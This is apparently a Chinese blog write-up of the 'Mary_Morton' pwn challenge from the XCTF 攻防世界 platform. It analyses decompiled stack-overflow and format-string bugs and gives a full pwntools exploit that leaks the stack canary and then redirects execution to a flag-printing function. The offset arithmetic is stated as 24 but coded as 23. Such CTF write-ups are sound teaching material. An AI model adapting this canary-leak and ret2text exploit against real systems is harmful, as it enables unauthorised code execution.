攻防世界PWN题 Mary_Morton
checksec 检查
结果如下
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
尝试执行
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
可以看到,程序有 bof 和 fsb 两种漏洞供我们使用,拖到 ida 里查看后得知两者分别对应函数 sub_400960 和 sub_4008EB,另外在函数 sub_4008DA 中有现成的 system 调用来输出 flag ,所以可以初步判断题型属于 ret2text 类型
分析函数
sub_400960
unsigned __int64 sub_400960()
{
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x100uLL);
printf("-> %s\n", &buf);
return __readfsqword(0x28u) ^ v2;
}
可以看到,溢出点在于 80h 大小的空间接受了 100h 字节的输入,缓冲区 buf 位于 rbp-90h 的位置,根据前文的 checksec 检查可知该文件是 64 位的,且开启了 canary,因此 v2 用于保存 canary 的值
sub_4008EB
unsigned __int64 sub_4008EB()
{
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x7FuLL);
printf(&buf, &buf);
return __readfsqword(0x28u) ^ v2;
}
函数在 printf 处存在 fsb 漏洞
分析并得到 exp
from pwn import *
from sys import argv
context(os='linux', arch='amd64')
#context.log_level = 'debug'
if argv[1] == 'local':
p = process('./pwn')
elif argv[1] == 'remote':
ip, port = argv[2].split(':')
p = remote(ip, int(port))
p.sendline('2')
p.sendline('%23$p')
p.recvuntil('0x')
canary = int(p.recv(16), 16)
p.recv()
p.sendline('1')
payload = flat(['a'*0x88, canary, 1, 0x4008DA])
p.sendline(payload)
p.interactive()
说明:
由于是 ret2text 类型,那么我们的终极目标在于控制程序的流程到 sub_4008DA 函数中,通过 ida 可以看到其地址为 0x4008DA
sub_400960 函数中的 bof 漏洞可以帮助我们改写返回地址从而劫持程序流程,但是由于该文件开启了 canary ,单纯地覆盖返回地址会因改写了 canary 的值而导致执行失败,所以我们需要利用 fsb 漏洞来获取 canary 的值
由于文件是 64 位,那么 rbp+16 的位置就相当于 printf 的第 7 个参数(前六个参数保存在寄存器中),从该位置到 canary 有 88h 长的偏移,所以 canary 的位置相当于 printf 的第 88h/8+7=24 个参数,因此可使用 %23$p 来获取
拿到 canary 后,通过 bof 漏洞在覆盖掉返回地址的同时保证 canary 的值为之前获取到的值即可
题外话
这道题我在做的时候本地 ubuntu 环境下跑时一直爆段错误,但是提交到靶机环境上时却能正常获取 flag ,目前还不知道是什么原因,不知道是否有和我同样情况的小伙伴,如果知情的话希望能留言赐教:-)